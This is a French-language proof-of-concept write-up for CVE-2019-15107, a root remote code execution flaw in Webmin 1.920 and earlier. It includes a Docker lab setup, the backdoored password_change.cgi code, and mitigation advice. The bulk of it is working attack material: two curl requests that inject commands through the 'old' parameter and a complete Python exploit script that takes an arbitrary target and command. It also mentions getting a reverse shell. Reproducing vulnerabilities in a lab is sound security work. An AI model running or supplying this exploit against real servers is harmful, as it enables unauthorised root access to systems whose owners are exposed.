
Exploit PoC pour CVE-2019-15107, une vulnérabilité d'exécution de code à distance dans Webmin 1.920 et versions antérieures. Inclut un environnement de laboratoire basé sur Docker, des scripts d'exploit en curl et Python, et des conseils d'atténuation.
[CVE-2019-15107] est une vulnérabilité survenue dans Webmin, un outil d'administration système basé sur le web utilisé sur les systèmes Unix. Dans le code de changement de mot de passe de cet outil d'administration, un paramètre particulier est passé directement à une commande shell sans filtrage, ce qui permet l'exécution de code arbitraire (Remote Code Execution, RCE).
La vulnérabilité a été découverte dans password_change.cgi, qui change le mot de passe, lors de l'utilisation de Webmin version 1.920 ou antérieure. La vulnérabilité est survenue car un code malveillant a été injecté dans Webmin lors de sa distribution via SourceForge.
Dans cette reproduction, nous utilisons la version webmin 1.910 utilisée par vulhub. De plus, comme le changement de mot de passe n'est activé que lorsque passwd_mode=2, construisons l'environnement avec passwd_mode=2.
Avec le fichier de release Webmin version 1.910 préparé webmin_1.910_all.deb, saisissons la commande ci-dessous pour configurer l'environnement vulnérable.
docker compose up -d
Les fichiers
Dockerfileetdocker-entrypoint.shont été reconstitués pour correspondre aux fichiers locaux en se référant au format pré-construit par vulhub.
Le changement de mot de passe nécessite des paramètres familiers comme user, old, new1, new2. Parmi eux, un code qui exécute la valeur du paramètre old a été inséré.
Voici une partie du fichier password_change.cgi de la version 1.910. qx/$in{'old'}/ est le code qui exécute la valeur de old mentionnée ci-dessus. En contrôlant cette valeur, l'exécution de code arbitraire devient possible.
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
On peut reproduire la vulnérabilité en accédant à password_change.cgi dans Webmin et en envoyant une requête avec la variable old manipulée.
Que ce soit avec curl ou python, il suffit de pouvoir envoyer une requête à password_change.cgi. Les trois exemples visent tous à insérer la commande id dans old pour afficher l'uid.
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# HTTPS 인증서 무시
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# old 파라미터에 명령어 입력
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # 명령어
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
On peut l'exécuter comme suit :
python3 PoC.py -t your-ip:10000 -c "id"

En insérant la commande souhaitée dans le paramètre old de la manière ci-dessus, la commande est exécutée telle quelle. On peut voir dans les résultats que l'uid est 0, ce qui indique une exécution avec les privilèges root.
En d'autres termes, cette vulnérabilité [CVE-2019-15107] permet d'effectuer une RCE avec les privilèges root.
De plus, si un reverse shell est préparé séparément, on peut obtenir un shell du serveur en s'y connectant.
Une fois la reproduction de la vulnérabilité terminée, on peut arrêter le service avec la commande ci-dessous.
docker compose down
La méthode la plus simple consiste à mettre à jour webmin.
Voici le code modifié lors de la mise à jour vers la version 1.930. La partie qui exécute la valeur de old a simplement été supprimée.
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
Si la partie d'exécution de code est nécessaire, on pourrait également la résoudre en insérant un code de validation de l'entrée old.